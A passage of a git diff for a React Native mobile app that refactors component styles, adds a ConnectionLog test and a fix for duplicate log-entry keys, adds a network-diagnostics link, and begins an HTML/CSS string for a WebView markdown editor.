+    ...StyleSheet.absoluteFillObject,
+    zIndex: 30,
+    alignItems: 'center',
+    justifyContent: 'center',
+    padding: spacing.xl,
+    backgroundColor: 'rgba(13, 15, 24, 0.5)'
+  },
+  dialogCard: {
+    width: '100%',
+    maxWidth: 360,
+    borderRadius: radii.card,
+    borderWidth: 1,
+    borderColor: colors.borderSubtle,
+    backgroundColor: colors.bgPanel,
+    padding: spacing.lg
+  },
+  dialogTitle: {
+    color: colors.textPrimary,
+    fontSize: 16,
+    fontWeight: '600'
+  },
+  dialogMessage: {
+    color: colors.textSecondary,
+    fontSize: typography.bodySize,
+    lineHeight: 20,
+    marginTop: spacing.sm
+  },
+  dialogActions: {
+    flexDirection: 'row',
+    justifyContent: 'flex-end',
+    gap: spacing.sm,
+    marginTop: spacing.lg
+  },
+  dialogButton: {
+    minHeight: 34,
+    borderRadius: radii.button,
+    backgroundColor: colors.bgRaised,
+    paddingHorizontal: spacing.md,
+    alignItems: 'center',
+    justifyContent: 'center'
+  },
+  dialogButtonPrimary: {
+    backgroundColor: colors.textPrimary
+  },
+  dialogButtonPressed: {
+    opacity: 0.75
+  },
+  dialogButtonText: {
+    color: colors.textSecondary,
+    fontSize: typography.bodySize,
+    fontWeight: '600'
+  },
+  dialogButtonPrimaryText: {
+    color: colors.bgBase
+  },
+  keyboardDock: {
+    zIndex: 20,
+    borderTopWidth: 1,
+    borderTopColor: colors.borderSubtle,
+    backgroundColor: colors.bgPanel
+  },
+  inputRow: {
+    flexDirection: 'row',
+    alignItems: 'center',
+    paddingHorizontal: spacing.md,
+    paddingTop: spacing.xs,
+    paddingBottom: spacing.xs + 2
+  },
+  keyboardInput: {
+    flex: 1,
+    height: 34,
+    backgroundColor: colors.bgRaised,
+    color: colors.textPrimary,
+    borderRadius: radii.input,
+    paddingHorizontal: spacing.md,
+    fontSize: 14,
+    fontFamily: typography.monoFamily,
+    marginRight: spacing.sm
+  },
+  sendButton: {
+    width: 34,
+    height: 34,
+    borderRadius: 17,
+    alignItems: 'center',
+    justifyContent: 'center',
+    backgroundColor: colors.bgRaised
+  },
+  disabled: {
+    opacity: 0.35
+  },
+  disabledText: {
+    color: colors.textMuted
+  }
+})
diff --git a/mobile/src/components/ConnectionLog.test.tsx b/mobile/src/components/ConnectionLog.test.tsx
new file mode 100644
index 00000000000..c310833f157
--- /dev/null
+++ b/mobile/src/components/ConnectionLog.test.tsx
@@ -0,0 +1,81 @@
+import { createElement } from 'react'
+import { act, create } from 'react-test-renderer'
+import { afterEach, describe, expect, it, vi } from 'vitest'
+import type { ConnectionLogEntry } from '../transport/types'
+import { ConnectionLog } from './ConnectionLog'
+
+vi.mock('react-native', () => ({
+  ScrollView: 'ScrollView',
+  StyleSheet: { create: <T,>(styles: T) => styles, hairlineWidth: 1 },
+  Text: 'Text',
+  View: 'View'
+}))
+
+const entries: ConnectionLogEntry[] = [
+  { id: 'event-1', ts: 1, level: 'info', message: 'Opening WebSocket' }
+]
+
+const duplicateEntries: ConnectionLogEntry[] = [
+  { id: 'relay-1', ts: 1, level: 'info', message: 'Relay recovery started' },
+  { id: 'relay-1', ts: 2, level: 'warn', message: 'Relay retry scheduled' }
+]
+
+describe('ConnectionLog', () => {
+  type RenderedNode = { props: { style?: unknown } }
+  type Renderer = {
+    root: {
+      findAllByType: (type: unknown) => RenderedNode[]
+      findByType: (type: unknown) => RenderedNode
+    }
+    unmount: () => void
+  }
+
+  let renderer: Renderer | null = null
+
+  afterEach(() => {
+    act(() => renderer?.unmount())
+    renderer = null
+  })
+
+  function renderLog(fillAvailableHeight = false): Renderer {
+    act(() => {
+      renderer = create(
+        createElement(ConnectionLog, { entries, fillAvailableHeight })
+      ) as unknown as Renderer
+    })
+    return renderer as Renderer
+  }
+
+  it('keeps the compact height in pairing flows', () => {
+    const instance = renderLog()
+    const containerStyles = instance.root.findAllByType('View')[0]!.props.style
+
+    expect(containerStyles).toContainEqual({ maxHeight: 240 })
+  })
+
+  it('fills the available diagnostics viewport', () => {
+    const instance = renderLog(true)
+    const containerStyles = instance.root.findAllByType('View')[0]!.props.style
+    const scroll = instance.root.findByType('ScrollView')
+
+    expect(containerStyles).toContainEqual({ flex: 1 })
+    expect(scroll.props.style).toEqual({ flex: 1 })
+  })
+
+  it('does not emit duplicate-key warnings for repeated persisted event IDs', () => {
+    const consoleError = vi.spyOn(console, 'error').mockImplementation(() => {})
+    act(() => {
+      renderer = create(
+        createElement(ConnectionLog, { entries: duplicateEntries })
+      ) as unknown as Renderer
+    })
+
+    expect(
+      consoleError.mock.calls.some(([message]) =>
+        String(message).includes('Encountered two children with the same key')
+      )
+    ).toBe(false)
+
+    consoleError.mockRestore()
+  })
+})
diff --git a/mobile/src/components/ConnectionLog.tsx b/mobile/src/components/ConnectionLog.tsx
index ad49e46d870..08f467d943f 100644
--- a/mobile/src/components/ConnectionLog.tsx
+++ b/mobile/src/components/ConnectionLog.tsx
@@ -8,6 +8,7 @@ type Props = {
   // Tag printed before the first entry so it's clear what's being logged
   // (e.g. 'Pairing' vs 'Reconnect').
   title?: string
+  fillAvailableHeight?: boolean
 }
 
 const LEVEL_COLOR: Record<ConnectionLogEntry['level'], string> = {
@@ -37,42 +38,53 @@ function formatTime(ts: number, baseTs: number): string {
   return `+${Math.round(elapsed)}s`
 }
 
-export function ConnectionLog({ entries, title }: Props) {
+export function ConnectionLog({ entries, title, fillAvailableHeight = false }: Props) {
   const scrollRef = useRef<ScrollView | null>(null)
 
   if (entries.length === 0) {
     return null
   }
   const baseTs = entries[0]!.ts
+  const keyOccurrences = new Map<string, number>()
 
   return (
-    <View style={styles.container}>
+    <View
+      style={[
+        styles.container,
+        fillAvailableHeight ? styles.fillContainer : styles.boundedContainer
+      ]}
+    >
       {title && <Text style={styles.title}>{title}</Text>}
       <ScrollView
         ref={scrollRef}
-        style={styles.scroll}
+        style={fillAvailableHeight ? styles.fillScroll : styles.boundedScroll}
         contentContainerStyle={styles.scrollContent}
         showsVerticalScrollIndicator={false}
         onContentSizeChange={() => scrollRef.current?.scrollToEnd({ animated: true })}
       >
-        {entries.map((entry) => (
-          <View key={entry.id} style={styles.row}>
-            <Text style={styles.timestamp}>{formatTime(entry.ts, baseTs)}</Text>
-            <Text style={[styles.glyph, { color: LEVEL_COLOR[entry.level] }]}>
-              {LEVEL_GLYPH[entry.level]}
-            </Text>
-            <View style={styles.rowText}>
-              <Text style={[styles.message, { color: LEVEL_COLOR[entry.level] }]}>
-                {entry.message}
+        {entries.map((entry) => {
+          const occurrence = keyOccurrences.get(entry.id) ?? 0
+          keyOccurrences.set(entry.id, occurrence + 1)
+          const renderKey = occurrence === 0 ? entry.id : `${entry.id}:${occurrence}`
+          return (
+            <View key={renderKey} style={styles.row}>
+              <Text style={styles.timestamp}>{formatTime(entry.ts, baseTs)}</Text>
+              <Text style={[styles.glyph, { color: LEVEL_COLOR[entry.level] }]}>
+                {LEVEL_GLYPH[entry.level]}
               </Text>
-              {entry.detail && (
-                <Text style={styles.detail} numberOfLines={2}>
-                  {entry.detail}
+              <View style={styles.rowText}>
+                <Text style={[styles.message, { color: LEVEL_COLOR[entry.level] }]}>
+                  {entry.message}
                 </Text>
-              )}
+                {entry.detail && (
+                  <Text style={styles.detail} numberOfLines={2}>
+                    {entry.detail}
+                  </Text>
+                )}
+              </View>
             </View>
-          </View>
-        ))}
+          )
+        })}
       </ScrollView>
     </View>
   )
@@ -81,7 +93,6 @@ export function ConnectionLog({ entries, title }: Props) {
 const styles = StyleSheet.create({
   container: {
     width: '100%',
-    maxHeight: 240,
     backgroundColor: colors.bgPanel,
     borderRadius: radii.card,
     borderWidth: StyleSheet.hairlineWidth,
@@ -89,6 +100,12 @@ const styles = StyleSheet.create({
     paddingVertical: spacing.sm,
     paddingHorizontal: spacing.md
   },
+  boundedContainer: {
+    maxHeight: 240
+  },
+  fillContainer: {
+    flex: 1
+  },
   title: {
     fontSize: typography.metaSize,
     fontFamily: typography.monoFamily,
@@ -97,9 +114,12 @@ const styles = StyleSheet.create({
     letterSpacing: 1,
     marginBottom: spacing.xs
   },
-  scroll: {
+  boundedScroll: {
     maxHeight: 200
   },
+  fillScroll: {
+    flex: 1
+  },
   scrollContent: {
     gap: 6
   },
diff --git a/mobile/src/components/CustomKeyModal.styles.ts b/mobile/src/components/CustomKeyModal.styles.ts
new file mode 100644
index 00000000000..991e557441f
--- /dev/null
+++ b/mobile/src/components/CustomKeyModal.styles.ts
@@ -0,0 +1,276 @@
+import { StyleSheet } from 'react-native'
+import { colors, spacing, radii, typography } from '../theme/mobile-theme'
+
+export const customKeyModalStyles = StyleSheet.create({
+  header: {
+    flexDirection: 'row',
+    alignItems: 'center',
+    paddingBottom: spacing.sm
+  },
+  backButton: {
+    width: 30,
+    height: 30,
+    borderRadius: 15,
+    alignItems: 'center',
+    justifyContent: 'center'
+  },
+  backButtonPressed: {
+    backgroundColor: colors.bgRaised
+  },
+  backSpacer: {
+    width: 30
+  },
+  title: {
+    flex: 1,
+    fontSize: 15,
+    fontWeight: '600',
+    color: colors.textPrimary,
+    textAlign: 'center'
+  },
+  group: {
+    backgroundColor: colors.bgPanel,
+    borderRadius: 12,
+    overflow: 'hidden'
+  },
+  separator: {
+    height: StyleSheet.hairlineWidth,
+    backgroundColor: colors.borderSubtle,
+    marginHorizontal: spacing.md
+  },
+  row: {
+    paddingVertical: spacing.md,
+    paddingHorizontal: spacing.md + 2
+  },
+  rowPressed: {
+    backgroundColor: colors.bgRaised
+  },
+  rowLabel: {
+    fontSize: typography.bodySize,
+    fontWeight: '500',
+    color: colors.textPrimary,
+    marginBottom: 1
+  },
+  rowHint: {
+    fontSize: 12,
+    color: colors.textMuted
+  },
+  shortcutForm: {
+    paddingTop: spacing.sm
+  },
+  preview: {
+    flexDirection: 'row',
+    alignItems: 'center',
+    justifyContent: 'center',
+    gap: spacing.sm,
+    paddingVertical: spacing.lg + spacing.xs,
+    flexWrap: 'wrap'
+  },
+  previewKeycapRow: {
+    flexDirection: 'row',
+    alignItems: 'center',
+    gap: spacing.sm
+  },
+  previewPlus: {
+    color: colors.textMuted,
+    fontSize: 16
+  },
+  keycap: {
+    minWidth: 48,
+    height: 48,
+    paddingHorizontal: spacing.md,
+    borderRadius: 10,
+    backgroundColor: colors.bgPanel,
+    borderWidth: 1,
+    borderColor: colors.borderSubtle,
+    alignItems: 'center',
+    justifyContent: 'center'
+  },
+  keycapModifier: {
+    minWidth: 0
+  },
+  keycapWarn: {
+    borderColor: colors.statusAmber
+  },
+  keycapText: {
+    color: colors.textPrimary,
+    fontFamily: typography.monoFamily,
+    fontSize: 17,
+    fontWeight: '600'
+  },
+  keycapTextWarn: {
+    color: colors.statusAmber
+  },
+  keycapModifierText: {
+    color: colors.textSecondary,
+    fontFamily: typography.monoFamily,
+    fontSize: 14,
+    fontWeight: '600'
+  },
+  section: {
+    marginTop: spacing.md
+  },
+  sectionLabel: {
+    fontSize: 11,
+    color: colors.textMuted,
+    textTransform: 'uppercase',
+    letterSpacing: 0.8,
+    marginBottom: spacing.sm,
+    paddingLeft: 2
+  },
+  mods: {
+    flexDirection: 'row',
+    gap: spacing.sm
+  },
+  chip: {
+    flex: 1,
+    height: 40,
+    borderRadius: 8,
+    backgroundColor: colors.bgPanel,
+    flexDirection: 'row',
+    alignItems: 'center',
+    justifyContent: 'center',
+    gap: 4
+  },
+  chipSelected: {
+    backgroundColor: colors.textPrimary
+  },
+  chipPressed: {
+    backgroundColor: colors.bgRaised
+  },
+  chipText: {
+    color: colors.textSecondary,
+    fontSize: 14,
+    fontWeight: '500'
+  },
+  chipTextSelected: {
+    color: colors.bgBase
+  },
+  chipGlyph: {
+    color: colors.textMuted,
+    fontSize: 13,
+    fontFamily: typography.monoFamily
+  },
+  chipGlyphSelected: {
+    color: 'rgba(10,10,10,0.5)'
+  },
+  keyInput: {
+    width: '100%',
+    height: 56,
+    borderRadius: 10,
+    backgroundColor: colors.bgPanel,
+    borderWidth: 1,
+    borderColor: colors.borderSubtle,
+    color: colors.textPrimary,
+    fontFamily: typography.monoFamily,
+    fontSize: 22,
+    fontWeight: '600',
+    textAlign: 'center'
+  },
+  moreLink: {
+    paddingVertical: spacing.sm,
+    alignItems: 'center'
+  },
+  moreLinkPressed: {
+    opacity: 0.6
+  },
+  moreLinkText: {
+    color: colors.textSecondary,
+    fontSize: 13,
+    textDecorationLine: 'underline'
+  },
+  specialKeysForm: {
+    paddingTop: spacing.xs,
+    paddingBottom: spacing.md,
+    gap: spacing.md
+  },
+  specialGroup: {
+    gap: spacing.xs
+  },
+  specialGroupTitle: {
+    fontSize: 11,
+    color: colors.textMuted,
+    textTransform: 'uppercase',
+    letterSpacing: 0.8,
+    paddingLeft: 2,
+    marginBottom: spacing.xs
+  },
+  keyGrid: {
+    flexDirection: 'row',
+    flexWrap: 'wrap',
+    marginHorizontal: -spacing.xs / 2
+  },
+  keyCellWrap: {
+    paddingHorizontal: spacing.xs / 2,
+    paddingVertical: spacing.xs / 2
+  },
+  keyCell: {
+    height: 40,
+    borderRadius: 8,
+    backgroundColor: colors.bgPanel,
+    alignItems: 'center',
+    justifyContent: 'center'
+  },
+  keyCellPressed: {
+    backgroundColor: colors.bgRaised
+  },
+  keyCellSelected: {
+    backgroundColor: colors.textPrimary
+  },
+  keyCellText: {
+    fontSize: 13,
+    fontWeight: '600',
+    color: colors.textPrimary,
+    fontFamily: typography.monoFamily
+  },
+  keyCellTextSelected: {
+    color: colors.bgBase
+  },
+  macroForm: {
+    padding: spacing.md,
+    gap: spacing.sm
+  },
+  fieldLabel: {
+    fontSize: 13,
+    fontWeight: '500',
+    color: colors.textSecondary
+  },
+  fieldInput: {
+    backgroundColor: colors.bgBase,
+    color: colors.textPrimary,
+    borderRadius: radii.input,
+    paddingHorizontal: spacing.md,
+    paddingVertical: spacing.sm,
+    fontSize: 14,
+    fontFamily: typography.monoFamily,
+    borderWidth: 1,
+    borderColor: colors.borderSubtle
+  },
+  switchRow: {
+    flexDirection: 'row',
+    alignItems: 'center',
+    justifyContent: 'space-between',
+    paddingVertical: spacing.xs
+  },
+  switchLabel: {
+    fontSize: typography.bodySize,
+    color: colors.textPrimary
+  },
+  saveButton: {
+    marginTop: spacing.md,
+    backgroundColor: colors.textPrimary,
+    paddingVertical: spacing.md,
+    borderRadius: 10,
+    alignItems: 'center'
+  },
+  saveButtonDisabled: {
+    backgroundColor: colors.bgRaised
+  },
+  saveButtonText: {
+    color: colors.bgBase,
+    fontSize: 15,
+    fontWeight: '600'
+  },
+  saveButtonTextDisabled: {
+    color: colors.textMuted
+  }
+})
diff --git a/mobile/src/components/CustomKeyModal.tsx b/mobile/src/components/CustomKeyModal.tsx
index 2777e310dc8..0cc24f4c030 100644
--- a/mobile/src/components/CustomKeyModal.tsx
+++ b/mobile/src/components/CustomKeyModal.tsx
@@ -1,8 +1,8 @@
 import { useCallback, useMemo, useState } from 'react'
-import { View, Text, Pressable, TextInput, StyleSheet, Switch } from 'react-native'
+import { View, Text, Pressable, TextInput, Switch } from 'react-native'
 import { ChevronLeft } from 'lucide-react-native'
 import AsyncStorage from '@react-native-async-storage/async-storage'
-import { colors, spacing, radii, typography } from '../theme/mobile-theme'
+import { colors } from '../theme/mobile-theme'
 import { BottomDrawer } from './BottomDrawer'
 import {
   buildTerminalShortcutKey,
@@ -11,6 +11,7 @@ import {
   type TerminalShortcutModifier,
   type TerminalShortcutSpecialKey
 } from '../terminal/terminal-accessory-keys'
+import { customKeyModalStyles as styles } from './CustomKeyModal.styles'
 
 const CUSTOM_ACCESSORY_KEYS_STORAGE_KEY = 'orca:custom-accessory-keys'
 
@@ -409,277 +410,3 @@ export function CustomKeyModal({ visible, onClose, onKeysChanged, onManageShortc
     </BottomDrawer>
   )
 }
-
-const styles = StyleSheet.create({
-  header: {
-    flexDirection: 'row',
-    alignItems: 'center',
-    paddingBottom: spacing.sm
-  },
-  backButton: {
-    width: 30,
-    height: 30,
-    borderRadius: 15,
-    alignItems: 'center',
-    justifyContent: 'center'
-  },
-  backButtonPressed: {
-    backgroundColor: colors.bgRaised
-  },
-  backSpacer: {
-    width: 30
-  },
-  title: {
-    flex: 1,
-    fontSize: 15,
-    fontWeight: '600',
-    color: colors.textPrimary,
-    textAlign: 'center'
-  },
-  group: {
-    backgroundColor: colors.bgPanel,
-    borderRadius: 12,
-    overflow: 'hidden'
-  },
-  separator: {
-    height: StyleSheet.hairlineWidth,
-    backgroundColor: colors.borderSubtle,
-    marginHorizontal: spacing.md
-  },
-  row: {
-    paddingVertical: spacing.md,
-    paddingHorizontal: spacing.md + 2
-  },
-  rowPressed: {
-    backgroundColor: colors.bgRaised
-  },
-  rowLabel: {
-    fontSize: typography.bodySize,
-    fontWeight: '500',
-    color: colors.textPrimary,
-    marginBottom: 1
-  },
-  rowHint: {
-    fontSize: 12,
-    color: colors.textMuted
-  },
-  shortcutForm: {
-    paddingTop: spacing.sm
-  },
-  preview: {
-    flexDirection: 'row',
-    alignItems: 'center',
-    justifyContent: 'center',
-    gap: spacing.sm,
-    paddingVertical: spacing.lg + spacing.xs,
-    flexWrap: 'wrap'
-  },
-  previewKeycapRow: {
-    flexDirection: 'row',
-    alignItems: 'center',
-    gap: spacing.sm
-  },
-  previewPlus: {
-    color: colors.textMuted,
-    fontSize: 16
-  },
-  keycap: {
-    minWidth: 48,
-    height: 48,
-    paddingHorizontal: spacing.md,
-    borderRadius: 10,
-    backgroundColor: colors.bgPanel,
-    borderWidth: 1,
-    borderColor: colors.borderSubtle,
-    alignItems: 'center',
-    justifyContent: 'center'
-  },
-  keycapModifier: {
-    minWidth: 0
-  },
-  keycapWarn: {
-    borderColor: colors.statusAmber
-  },
-  keycapText: {
-    color: colors.textPrimary,
-    fontFamily: typography.monoFamily,
-    fontSize: 17,
-    fontWeight: '600'
-  },
-  keycapTextWarn: {
-    color: colors.statusAmber
-  },
-  keycapModifierText: {
-    color: colors.textSecondary,
-    fontFamily: typography.monoFamily,
-    fontSize: 14,
-    fontWeight: '600'
-  },
-  section: {
-    marginTop: spacing.md
-  },
-  sectionLabel: {
-    fontSize: 11,
-    color: colors.textMuted,
-    textTransform: 'uppercase',
-    letterSpacing: 0.8,
-    marginBottom: spacing.sm,
-    paddingLeft: 2
-  },
-  mods: {
-    flexDirection: 'row',
-    gap: spacing.sm
-  },
-  chip: {
-    flex: 1,
-    height: 40,
-    borderRadius: 8,
-    backgroundColor: colors.bgPanel,
-    flexDirection: 'row',
-    alignItems: 'center',
-    justifyContent: 'center',
-    gap: 4
-  },
-  chipSelected: {
-    backgroundColor: colors.textPrimary
-  },
-  chipPressed: {
-    backgroundColor: colors.bgRaised
-  },
-  chipText: {
-    color: colors.textSecondary,
-    fontSize: 14,
-    fontWeight: '500'
-  },
-  chipTextSelected: {
-    color: colors.bgBase
-  },
-  chipGlyph: {
-    color: colors.textMuted,
-    fontSize: 13,
-    fontFamily: typography.monoFamily
-  },
-  chipGlyphSelected: {
-    color: 'rgba(10,10,10,0.5)'
-  },
-  keyInput: {
-    width: '100%',
-    height: 56,
-    borderRadius: 10,
-    backgroundColor: colors.bgPanel,
-    borderWidth: 1,
-    borderColor: colors.borderSubtle,
-    color: colors.textPrimary,
-    fontFamily: typography.monoFamily,
-    fontSize: 22,
-    fontWeight: '600',
-    textAlign: 'center'
-  },
-  moreLink: {
-    paddingVertical: spacing.sm,
-    alignItems: 'center'
-  },
-  moreLinkPressed: {
-    opacity: 0.6
-  },
-  moreLinkText: {
-    color: colors.textSecondary,
-    fontSize: 13,
-    textDecorationLine: 'underline'
-  },
-  specialKeysForm: {
-    paddingTop: spacing.xs,
-    paddingBottom: spacing.md,
-    gap: spacing.md
-  },
-  specialGroup: {
-    gap: spacing.xs
-  },
-  specialGroupTitle: {
-    fontSize: 11,
-    color: colors.textMuted,
-    textTransform: 'uppercase',
-    letterSpacing: 0.8,
-    paddingLeft: 2,
-    marginBottom: spacing.xs
-  },
-  keyGrid: {
-    flexDirection: 'row',
-    flexWrap: 'wrap',
-    marginHorizontal: -spacing.xs / 2
-  },
-  keyCellWrap: {
-    paddingHorizontal: spacing.xs / 2,
-    paddingVertical: spacing.xs / 2
-  },
-  keyCell: {
-    height: 40,
-    borderRadius: 8,
-    backgroundColor: colors.bgPanel,
-    alignItems: 'center',
-    justifyContent: 'center'
-  },
-  keyCellPressed: {
-    backgroundColor: colors.bgRaised
-  },
-  keyCellSelected: {
-    backgroundColor: colors.textPrimary
-  },
-  keyCellText: {
-    fontSize: 13,
-    fontWeight: '600',
-    color: colors.textPrimary,
-    fontFamily: typography.monoFamily
-  },
-  keyCellTextSelected: {
-    color: colors.bgBase
-  },
-  macroForm: {
-    padding: spacing.md,
-    gap: spacing.sm
-  },
-  fieldLabel: {
-    fontSize: 13,
-    fontWeight: '500',
-    color: colors.textSecondary
-  },
-  fieldInput: {
-    backgroundColor: colors.bgBase,
-    color: colors.textPrimary,
-    borderRadius: radii.input,
-    paddingHorizontal: spacing.md,
-    paddingVertical: spacing.sm,
-    fontSize: 14,
-    fontFamily: typography.monoFamily,
-    borderWidth: 1,
-    borderColor: colors.borderSubtle
-  },
-  switchRow: {
-    flexDirection: 'row',
-    alignItems: 'center',
-    justifyContent: 'space-between',
-    paddingVertical: spacing.xs
-  },
-  switchLabel: {
-    fontSize: typography.bodySize,
-    color: colors.textPrimary
-  },
-  saveButton: {
-    marginTop: spacing.md,
-    backgroundColor: colors.textPrimary,
-    paddingVertical: spacing.md,
-    borderRadius: 10,
-    alignItems: 'center'
-  },
-  saveButtonDisabled: {
-    backgroundColor: colors.bgRaised
-  },
-  saveButtonText: {
-    color: colors.bgBase,
-    fontSize: 15,
-    fontWeight: '600'
-  },
-  saveButtonTextDisabled: {
-    color: colors.textMuted
-  }
-})
diff --git a/mobile/src/components/HostDiagnosticsLink.tsx b/mobile/src/components/HostDiagnosticsLink.tsx
new file mode 100644
index 00000000000..eaab1f96ca4
--- /dev/null
+++ b/mobile/src/components/HostDiagnosticsLink.tsx
@@ -0,0 +1,38 @@
+import { ChevronRight } from 'lucide-react-native'
+import { Pressable, StyleSheet, Text } from 'react-native'
+import { colors, radii, spacing, typography } from '../theme/mobile-theme'
+
+export function HostDiagnosticsLink({ onPress }: { onPress: () => void }): React.JSX.Element {
+  return (
+    <Pressable
+      style={styles.link}
+      onPress={onPress}
+      accessibilityRole="button"
+      accessibilityLabel="View network diagnostics"
+    >
+      <Text style={styles.text}>View network diagnostics</Text>
+      <ChevronRight size={16} color={colors.textSecondary} />
+    </Pressable>
+  )
+}
+
+const styles = StyleSheet.create({
+  link: {
+    marginHorizontal: spacing.md,
+    marginBottom: spacing.sm,
+    paddingVertical: spacing.sm,
+    paddingHorizontal: spacing.md,
+    borderRadius: radii.button,
+    backgroundColor: colors.bgPanel,
+    borderWidth: 1,
+    borderColor: colors.borderSubtle,
+    flexDirection: 'row',
+    alignItems: 'center',
+    justifyContent: 'space-between'
+  },
+  text: {
+    color: colors.textSecondary,
+    fontSize: typography.metaSize,
+    fontWeight: '600'
+  }
+})
diff --git a/mobile/src/components/mobile-rich-markdown-editor-body-primary.ts b/mobile/src/components/mobile-rich-markdown-editor-body-primary.ts
new file mode 100644
index 00000000000..c4348ad15a2
--- /dev/null
+++ b/mobile/src/components/mobile-rich-markdown-editor-body-primary.ts
@@ -0,0 +1,279 @@
+export const MOBILE_RICH_MARKDOWN_EDITOR_BODY_PRIMARY = [
+  ';',
+  '      --font-mono: ui-monospace, SFMono-Regular, Menlo, Monaco, Consolas, "Liberation Mono", monospace;',
+  '      --font-sans: Geist, -apple-system, BlinkMacSystemFont, "Segoe UI", sans-serif;',
+  '    }',
+  '    * { box-sizing: border-box; -webkit-tap-highlight-color: transparent; }',
+  '    html, body {',
+  '      width: 100%;',
+  '      min-height: 100%;',
+  '      margin: 0;',
+  '      background: var(--editor-surface);',
+  '      color: var(--foreground);',
+  '      font-family: var(--font-sans);',
+  '      overscroll-behavior: contain;',
+  '    }',
+  '    body { overflow: auto; }',
+  '    #editor {',
+  '      min-height: 100vh;',
+  '      padding: 18px 16px 112px;',
+  '      outline: none;',
+  '      font-size: 14px;',
+  '      line-height: 1.7;',
+  '      word-wrap: break-word;',
+  '      overflow-wrap: anywhere;',
+  '      caret-color: var(--foreground);',
+  '    }',
+  '    #editor[contenteditable="false"] {',
+  '      opacity: 0.78;',
+  '    }',
+  '    #editor:empty::before,',
+  '    #editor p.is-empty:first-child::before {',
+  '      content: attr(data-placeholder);',
+  '      color: var(--muted-foreground);',
+  '      pointer-events: none;',
+  '    }',
+  '    #editor > :first-child { margin-top: 0; }',
+  '    h1, h2, h3, h4, h5, h6 {',
+  '      margin: 1.5em 0 0.5em;',
+  '      font-weight: 600;',
+  '      line-height: 1.3;',
+  '      letter-spacing: 0;',
+  '    }',
+  '    h1 { font-size: 1.85em; font-weight: 700; }',
+  '    h2 { font-size: 1.4em; }',
+  '    h3 { font-size: 1.15em; }',
+  '    p, ul, ol, blockquote { margin: 0.75em 0; }',
+  '    ul, ol { padding-left: 1.5em; }',
+  '    ul { list-style: disc; }',
+  '    ol { list-style: decimal; }',
+  '    li { margin: 0.15em 0; }',
+  '    li > p { margin: 0; }',
+  '    ul[data-type="taskList"] {',
+  '      padding-left: 0;',
+  '      list-style: none;',
+  '    }',
+  '    ul[data-type="taskList"] > li {',
+  '      display: flex;',
+  '      align-items: flex-start;',
+  '      gap: 6px;',
+  '    }',
+  '    ul[data-type="taskList"] > li > label {',
+  '      flex-shrink: 0;',
+  '      display: flex;',
+  '      align-items: center;',
+  '      height: 1.55em;',
+  '      user-select: none;',
+  '    }',
+  '    ul[data-type="taskList"] input[type="checkbox"] {',
+  '      appearance: none;',
+  '      width: 16px;',
+  '      height: 16px;',
+  '      margin: 0;',
+  '      border: 1.5px solid color-mix(in srgb, var(--foreground) 55%, transparent);',
+  '      border-radius: 4px;',
+  '      background: transparent;',
+  '      position: relative;',
+  '    }',
+  '    ul[data-type="taskList"] input[type="checkbox"]:checked {',
+  '      background: var(--primary);',
+  '      border-color: var(--primary);',
+  '    }',
+  '    ul[data-type="taskList"] input[type="checkbox"]:checked::after {',
+  '      content: "";',
+  '      position: absolute;',
+  '      left: 4px;',
+  '      top: 1px;',
+  '      width: 5px;',
+  '      height: 9px;',
+  '      border: solid var(--primary-foreground);',
+  '      border-width: 0 2px 2px 0;',
+  '      transform: rotate(45deg);',
+  '    }',
+  '    ul[data-type="taskList"] input[type="checkbox"]:disabled {',
+  '      opacity: 0.65;',
+  '    }',
+  '    ul[data-type="taskList"] > li > div {',
+  '      flex: 1;',
+  '      min-width: 0;',
+  '    }',
+  '    ul[data-type="taskList"] > li[data-checked="true"] > div {',
+  '      text-decoration: line-through;',
+  '      color: var(--muted-foreground);',
+  '    }',
+  '    blockquote {',
+  '      padding: 0.5em 1em;',
+  '      border-left: 3px solid var(--border);',
+  '      border-radius: 0 6px 6px 0;',
+  '      color: var(--muted-foreground);',
+  '      background: color-mix(in srgb, var(--foreground) 2%, transparent);',
+  '    }',
+  '    table {',
+  '      width: 100%;',
+  '      margin: 1em 0;',
+  '      border-collapse: collapse;',
+  '      font-size: 0.95em;',
+  '    }',
+  '    th, td {',
+  '      padding: 8px 14px;',
+  '      border: 1px solid var(--border);',
+  '      text-align: left;',
+  '      vertical-align: top;',
+  '    }',
+  '    th {',
+  '      font-weight: 600;',
+  '      background: color-mix(in srgb, var(--foreground) 4%, transparent);',
+  '    }',
+  '    tr:nth-child(odd) td {',
+  '      background: color-mix(in srgb, var(--foreground) 1.5%, transparent);',
+  '    }',
+  '    code {',
+  '      padding: 0.2em 0.4em;',
+  '      border-radius: 5px;',
+  '      background: color-mix(in srgb, var(--foreground) 8%, transparent);',
+  '      font-size: 0.88em;',
+  '      font-family: var(--font-mono);',
+  '    }',
+  '    pre {',
+  '      margin: 0.75em 0;',
+  '      padding: 14px 18px;',
+  '      border-radius: 8px;',
+  '      border: 1px solid color-mix(in srgb, var(--foreground) 6%, transparent);',
+  '      overflow-x: auto;',
+  '      line-height: 1.55;',
+  '      background: color-mix(in srgb, var(--foreground) 6%, transparent);',
+  '      font-family: var(--font-mono);',
+  '      white-space: pre-wrap;',
+  '    }',
+  '    pre::before {',
+  '      content: attr(data-language);',
+  '      display: block;',
+  '      min-height: 13px;',
+  '      margin-bottom: 4px;',
+  '      color: var(--muted-foreground);',
+  '      font-size: 11px;',
+  '      text-transform: uppercase;',
+  '    }',
+  '    pre code {',
+  '      padding: 0;',
+  '      border-radius: 0;',
+  '      background: transparent;',
+  '      font-size: 0.92em;',
+  '      white-space: pre-wrap;',
+  '    }',
+  '    hr {',
+  '      margin: 1.5em 0;',
+  '      border: none;',
+  '      border-top: 1px solid var(--border);',
+  '    }',
+  '    a {',
+  '      color: var(--accent-link);',
+  '      text-decoration: underline;',
+  '      text-decoration-color: color-mix(in srgb, currentColor 40%, transparent);',
+  '      text-underline-offset: 2px;',
+  '    }',
+  '    img {',
+  '      display: block;',
+  '      max-width: 100%;',
+  '      margin: 0.75em 0;',
+  '      border-radius: 8px;',
+  '    }',
+  '  </style>',
+  '</head>',
+  '<body>',
+  '  <main id="editor" contenteditable="true" data-placeholder="Start writing..."></main>',
+  '  <script>',
+  '    (function () {',
+  "      var editor = document.getElementById('editor');",
+  "      var lastMarkdown = '';",
+  '      var inputTimer = null;',
+  '      var documentGeneration = 0;',
+  '      var editable = true;',
+  '      var suppressInput = false;',
+  '',
+  '      function post(message) {',
+  '        window.ReactNativeWebView && window.ReactNativeWebView.postMessage(JSON.stringify(message));',
+  '      }',
+  '',
+  '      function decodeMarkdownEntities(value) {',
